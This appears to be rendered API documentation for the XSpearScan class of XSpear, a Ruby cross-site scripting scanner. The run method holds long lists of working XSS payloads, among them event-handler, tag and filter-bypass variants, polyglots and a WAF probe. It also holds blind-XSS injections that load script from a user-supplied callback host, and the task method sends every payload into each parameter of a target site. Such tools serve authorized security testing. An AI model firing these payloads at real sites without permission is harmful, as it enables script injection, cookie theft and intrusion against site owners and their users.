class XspearScan
Public Class Methods
new(url, options)
click to toggle source
# File lib/XSpear.rb, line 17 def initialize(url, options) @url = url @data = options['data'] @headers = options['headers'] if options['params'].nil? @params = options['params'] else @params = options['params'].split(",") end if options['cp'].nil? @custom_payload = nil else @custom_payload = File.open(options['cp']) end if options['all'] == true @all = true else @all = false end if options['nx'] == true @nx = true else @nx = false end @thread = options['thread'] @output = options['output'] @verbose = options['verbose'] @blind_url = options['blind'] @report = XspearRepoter.new @url, Time.now, (@data.nil? ? "GET" : "POST") @filtered_objects = {} @reflected_params = [] @param_check_switch = 0 @progress_bar = nil end
Public Instance Methods
makeQueryPattern(type, payload, pattern, category, desc, callback)
click to toggle source
# File lib/XSpear.rb, line 668 def makeQueryPattern(type, payload, pattern, category, desc, callback) # type: [r]eflected param # [f]ilted rule # [x]ss # [s]tatic # [d]ynamic result = [] if type == 's' if @data.nil? result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback) else result.push("inject": 'body',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback) end else uri = URI.parse(@url) begin if @data.nil? params = URI.decode_www_form(uri.query) params.each do |p| if (@param_check_switch) || (@reflected_params.include? p[0]) || pattern == "BLINDNOTDETECTED" || @all if @params.nil? || (@params.include? p[0] if !@params.nil?) attack = "" dparams = params dparams.each do |d| attack = uri.query.sub "#{d[0]}=#{d[1]}","#{d[0]}=#{d[1]}#{URI.encode_www_form_component(payload)}" if p[0] == d[0] #d[1] = p[1] + payload if p[0] == d[0] end result.push("inject": 'url',"param":p[0] ,"type": type, "query": attack, "pattern": pattern, "desc": desc, "category": category, "callback": callback) end end end else params = URI.decode_www_form(@data) params.each do |p| if (@param_check_switch) || (@reflected_params.include? p[0]) || pattern == "BLINDNOTDETECTED" || @all if @params.nil? || (@params.include? p[0] if !@params.nil?) attack = "" dparams = params dparams.each do |d| attack = @data.sub "#{d[0]}=#{d[1]}","#{d[0]}=#{d[1]}#{URI.encode_www_form_component(payload)}" if p[0] == d[0] # #45 Issue, URI::encode to URI.encode_www_form_component #d[1] = p[1] + payload if p[0] == d[0] end result.push("inject": 'body', "param":p[0], "type": type, "query": attack, "pattern": pattern, "desc": desc, "category": category, "callback": callback) end end end end if callback == CallbackXSSSelenium begin puri = URI.parse(@url) puri.path = puri.path+URI.encode_www_form_component("/"+pattern) result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback) puri = URI.parse(@url) puri.path = puri.path+URI.encode_www_form_component(pattern) result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback) rescue # bypass # if no slash end end end rescue StandardError # bypass # if no params if callback == CallbackXSSSelenium begin puri = URI.parse(@url) puri.path = puri.path+URI.encode_www_form_component("/"+pattern) result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback) puri = URI.parse(@url) puri.path = puri.path+URI.encode_www_form_component(pattern) result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback) rescue # bypass # if no slash end end end end result end end
reporter()
click to toggle source
# File lib/XSpear.rb, line 664 def reporter @report end
run()
click to toggle source
# File lib/XSpear.rb, line 265 def run r = [] event_handler = [ 'onabort', 'onactivate', 'onafterprint', 'onafterscriptexecute', 'onafterupdate', 'onanimationcancel', 'onanimationstart', 'onauxclick', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforescriptexecute', 'onbeforeunload', 'onbeforeupdate', 'onbegin', 'onblur', 'onbounce', 'oncanplay', 'oncanplaythrough', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onend', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhashchange', 'onhelp', 'oninput', 'oninvalid', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onloadend', 'onloadstart', 'onloadstart', 'onlosecapture', 'onmediacomplete', 'onmediaerror', 'onmessage', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onoffline', 'ononline', 'onoutofsync', 'onpageshow', 'onpaste', 'onpause', 'onplay', 'onplaying', 'onpointerdown', 'onpointerenter', 'onpointerleave', 'onpointermove', 'onpointerout', 'onpointerover', 'onpointerup', 'onpopstate', 'onprogress', 'onpropertychange', 'onreadystatechange', 'onredo', 'onrepeat', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onresume', 'onreverse', 'onrowdelete', 'onrowexit', 'onrowinserted', 'onrowsenter', 'onscroll', 'onsearch', 'onseek', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onstorage', 'onsubmit', 'onsyncrestored', 'ontimeerror', 'ontimeupdate', 'ontoggle', 'ontouchend', 'ontouchmove', 'ontouchstart', 'ontrackchange', 'ontransitioncancel', 'ontransitionend', 'ontransitionrun', 'onundo', 'onunhandledrejection', 'onunload', 'onurlflip', 'onvolumechange', 'onwaiting', 'onwheel', 'whatthe=""onload', 'onpointerrawupdate' ] tags = [ "script", "iframe", "svg", "img", "video", "audio", "meta", "object", "embed", "style", "frame", "frameset", "applet" ] special_chars =[ ">", "<", '"', "'", "`", ";", "|", "(", ")", "{", "}", "[", "]", ":", ".", ",", "+", "-", "=", "$" ] useful_code = [ "javascript:", "JaVasCriPt:", "jaVas%0dcRipt:", "jaVas%0acRipt:", "jaVas%09cRipt:", "data:", "alert(", "alert`", "prompt(", "prompt`", "confirm(", "confirm`", "document.location", "document.cookie", "window.location" ] ## [ Parameter Analysis ] log('s', 'analysis request..') r.push makeQueryPattern('x', '<script>alert(45)</script>', '<script>alert(45)</script>', 'i', "Found WAF", CallbackCheckWAF) r.push makeQueryPattern('s', '', '', 'i', "-", CallbackCheckHeaders) r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch) r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch) r = r.flatten r = r.flatten threads = [] r.each_slice(@thread) do |jobs| jobs.map do |node| Thread.new do begin result, req, res = task(node[:query], node[:inject], node[:pattern], node[:callback]) # p result.body if @verbose.to_i > 2 log('d', "[#{res.code}/#{res.message}] #{node[:query]} in #{node[:inject]}\n[ Request ]\n#{req.to_hash.inspect}\n[ Response ]\n#{res.to_hash.inspect}") end if result[0] log(node[:category], "[#{res.code}/#{res.message}] "+(result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]") @report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc]) @reflected_params.push node[:param] elsif (node[:callback] == CallbackNotAdded) && (result[1].to_s == "true") @filtered_objects[node[:param].to_s].nil? ? (@filtered_objects[node[:param].to_s] = [node[:pattern].to_s]) : (@filtered_objects[node[:param].to_s].push(node[:pattern].to_s)) elsif node[:type] != "d" log('d', "[#{res.code}/#{res.message}] '#{node[:param]}' "+(result[1]).to_s) end rescue => e end end end.each(&:join) end if @all == true log('s',"used test-all-params mode(-a)") if @blind_url.nil? log('s',"creating a test query all param") else log('s',"creating a test query all param + blind XSS") end else log('s',"used test-reflected-params mode(default)") if @blind_url.nil? log('s',"creating a test query [for reflected #{@reflected_params.length} param ]") else log('s',"creating a test query [for reflected #{@reflected_params.length} param + blind XSS ]") end end @param_check_switch = false ## [ XSS Scanning ] r = [] # Check Special Char special_chars.each do |sc| r.push makeQueryPattern('f', "#{sc}XsPeaR", "#{sc}XsPeaR", 'i', "not filtered "+"#{sc}".blue, CallbackNotAdded) end # Check Event Handler r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "reflected EH "+"on{any} pattern".blue, CallbackStringMatch) event_handler.each do |ev| r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "reflected EH "+"#{ev}=64".blue, CallbackNotAdded) end # Check HTML Tag tags.each do |tag| r.push makeQueryPattern('f', "\">xsp<#{tag}>", "xsp<#{tag}>", 'i', "not filtered "+"<#{tag}>".blue, CallbackNotAdded) end # Check useful code useful_code.each do |c| r.push makeQueryPattern('f', "#{c}.xspear", "#{c}.xspear", 'i', "not filtered "+"'#{c}' code".blue, CallbackNotAdded) end if @nx != true # Check Common XSS Payloads onfocus_tags = [ "input", "select", "textarea", "keygen" ] r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '<svg/onload=alert(45)>', '<svg/onload=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '<img/src onerror=alert(45)>', '<img/src onerror=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"><scr<script>ipt>alert(45)</scr<script>ipt>', '<script>alert(45)</script>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"><iframe/src=JavaScriPt:alert(45)>', '"><iframe/src=JavaScriPt:alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert`45`">', '<details/open/ontoggle="alert`45`">', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><meter onmouseover=alert(45)>0</meter>', '<meter onmouseover=alert(45)>0</meter>', 'h', "reflected "+"HTML5 XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>', '<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?;javascript:alert(1);0" />', 'h', "reflected "+"SVG Animate XSS".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="jav ascript:alert(45)">XSS</a>', '<a href="jav ascript:alert(45)"">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="javascript:alert(45)">XSS</a>', '<a href="javascript:alert(45)">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="javascript:alert(45)">XSS</a>', '<a href="javascript:alert(45)">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="javascript:alert(45)">XSS</a>', '<a href="javascript:alert(45)">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href=" javascript:alert(45)">XSS</a>', '<a href=" javascript:alert(45)">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="javascript:alert(45)">XSS</a>', '<a href="javascript:alert(45)">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) r.push makeQueryPattern('x', '"\'><a href="javascript:alert('XSS')">XSS</a>', '<a href="javascript:alert('XSS')">XSS</a>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch) onfocus_tags.each do |t| r.push makeQueryPattern('x', "\"'><#{t} autofocus onfocus=alert(45)>", "<#{t} autofocus onfocus=alert(45)>", 'h', "reflected "+"onfocus XSS Code".red, CallbackStringMatch) end # Check Selenium Common XSS Payloads r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered ".yellow+"<script>alert(45)</script>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"><svgonload=alert(45)>', '<svg(0x0c)onload=alert(1)>', 'v', "triggered ".yellow+"<svg(0x0c)onload=alert(1)>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered ".yellow+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"<svg/onload=alert(45)>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'v', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'v', "triggered ".yellow+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'v', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'v', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"\'><svg/whatthe=""onload=alert(45)>', '<svg/whatthe=""onload=alert(45)>', 'v', "triggered ".yellow+"<svg/whatthe=""onload=alert(45)>".red, CallbackXSSSelenium) # + in Javascript payloads r.push makeQueryPattern('x', '\'+alert(45)+\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"+alert(45)+"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '\'%2Balert(45)%2B\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium) r.push makeQueryPattern('x', '"%2Balert(45)%2B"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium) # Check Selenium XSS Polyglot r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium) r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//--><<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium) r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium) end # Check Blind XSS Payload if !@blind_url.nil? r.push makeQueryPattern('f', "\"'><script src=#{@blind_url}></script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded) r.push makeQueryPattern('f', "\"'><script>$.getScript('#{@blind_url}')</script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded) r.push makeQueryPattern('f', "\"'><svg onload=javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'#{@blind_url}\';d.body.appendChild(_)')>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded) r.push makeQueryPattern('f', "\"'><iframe src=javascript:$.getScript('#{@blind_url}')></iframe>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded) end if !@custom_payload.nil? log('s','load custom payload') cps = JSON.parse @custom_payload.read cps.each do |cp| if cp['callback'] == 'P1' r.push makeQueryPattern('x', cp['payload'], cp['payload'], 'h', "reflected "+"Custom Payload #{cp['descript']} ".red, CallbackStringMatch) elsif cp['callback'] == 'P2' r.push makeQueryPattern('x', cp['payload'], 'alert(45)', 'v', "triggered ".yellow+"Custom Payload #{cp['descript']}".red, CallbackXSSSelenium) else end end log('s',"loaded and creating #{cps.length} custom payloads") end r = r.flatten r = r.flatten log('s', "test query generation is complete. [#{r.length} query]") log('s', "starting XSS Scanning. [#{@thread} threads]") if @verbose.to_i == 1 @progress_bar = ProgressBar.new(r.length) end r.each_slice(@thread) do |jobs| jobs.map do |node| Thread.new do begin result, req, res = task(node[:query], node[:inject], node[:pattern], node[:callback]) # p result.body if @verbose.to_i > 2 log('d', "[#{res.code}/#{res.message}] #{node[:query]} in #{node[:inject]}\n[ Request ]\n#{req.to_hash.inspect}\n[ Response ]\n#{res.to_hash.inspect}") end if result[0] log(node[:category], "[#{res.code}/#{res.message}] "+(result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]") @report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc]) elsif (node[:callback] == CallbackNotAdded) && (result[1].to_s == "true") @filtered_objects[node[:param].to_s].nil? ? (@filtered_objects[node[:param].to_s] = [node[:pattern].to_s]) : (@filtered_objects[node[:param].to_s].push(node[:pattern].to_s)) elsif node[:type] != "f" log('d', "[#{res.code}/#{res.message}] '#{node[:param]}' "+(result[1]).to_s) end rescue => e end end end.each(&:join) end @report.set_filtered @filtered_objects @report.set_endtime log('s', "finish scan. the report is being generated..") if @output == 'json' puts @report.to_json elsif @output == 'html' f = File.open 'report.html', 'w+' f.write @report.to_html log('s', "generate html report file. please open ./report.html file") else @report.to_cli end end
task(query, injected, pattern, callback)
click to toggle source
# File lib/XSpear.rb, line 751 def task(query, injected, pattern, callback) begin if (!@progress_bar.nil?) && @verbose.to_i == 1 print "\r\r" print "\r\r" @progress_bar.increment! end uri = nil if pattern == "[PATH]" uri = URI.parse(query) else uri = URI.parse(@url) end request = nil method = "GET" uri.query = query if injected == 'url' if @data.nil? # GET request = Net::HTTP::Get.new(uri.request_uri) else # POST request = Net::HTTP::Post.new(uri.request_uri) request.body = query if injected == 'body' method = "POST" end Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http| request['Accept'] = '*/*' request['Connection'] = 'keep-alive' request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0' unless @headers.nil? @headers.split(';').each do |header| begin c = header.split(': ') request[c[0]] = c[1] unless c.nil? rescue StandardError # pass end end end response = http.request(request) result = callback.new(uri.to_s, method, pattern, response, @report).run # result = result.run # p request.headers return result, request, response end end rescue => e #puts e end